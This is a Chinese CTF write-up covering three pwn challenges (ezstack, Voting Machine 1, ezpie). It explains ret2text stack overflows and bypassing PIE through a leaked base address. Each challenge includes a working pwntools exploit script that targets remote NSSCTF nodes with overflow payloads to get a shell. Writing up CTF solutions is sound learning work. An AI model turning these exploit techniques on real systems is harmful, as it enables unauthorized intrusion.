/*这里是一个标题*/
今天做了三道ret2text类型的题,学到了PIE保护的一般绕过方法。
ezstack
- 一道ret2text,但是需要用gadgets片段构建简单的ROP链,也可以说是ret2libc吧(或许?但不重要)
拖IDA反编译,一个大大的read表示这是个栈溢出
同时还提供了system,又在data数据中找到了 /bin/sh 。
这道题很明显就是ret2text
直接溢出并返回system函数和binsh字符串即可
exp
from pwn import *
sh = remote('node5.anna.nssctf.cn',28636)
# sh = process('./pwn')
pop_ret = 0x8048342
str_binsh = 0x804a024
system_addr = 0x08048512
paycode = b'a'*(0x48+4) + p32(pop_ret) + p32(system_addr) + p32(str_binsh)
sh.sendafter("NISACTF",paycode)
sh.interactive()
Voting Machine 1
- 烂题。是一道ret2text
反编译看源码,找到漏洞函数get
又找到shellcode
记录地址,直接溢出即可
exp
from pwn import *
sh = remote('node5.anna.nssctf.cn',28105)
# sh = process('./pwn2')
pay_addr = 0x0400807
payload = b'a'*0xa + p64(pay_addr)
sh.sendline(payload)
print(sh.recv().decode())
ezpie
- 一道开启了PIE保护的ret2text类型题目
下载附件查看保护,发现开启了PIE保护
PIE保护机制每次加载的时候都会分配信息基地址。 全称是position-independent-executable,中文解释为地址无关可执行文件,该技术是一 个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个 防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址。
PIE保护只会变更基址,相对位置还是不变的。我们只要算出偏移量就行了
查验源代码发现开局泄露main函数基址,有shell函数
我们只要算出偏移量之后对即可加上main基址得到shell的基址。
exp
from pwn import *
sh =remote('node5.anna.nssctf.cn',28181)
# sh = process('./pwn3')
learn = 0x80f - 0x770
sh.recvuntil(b'gift!\n')
main_addr = eval(sh.recv(10))
shell_addr = main_addr + learn
payload = b'a'* (0x28+4) + p32(shell_addr)
sh.sendafter("Input:",payload)
sh.interactive()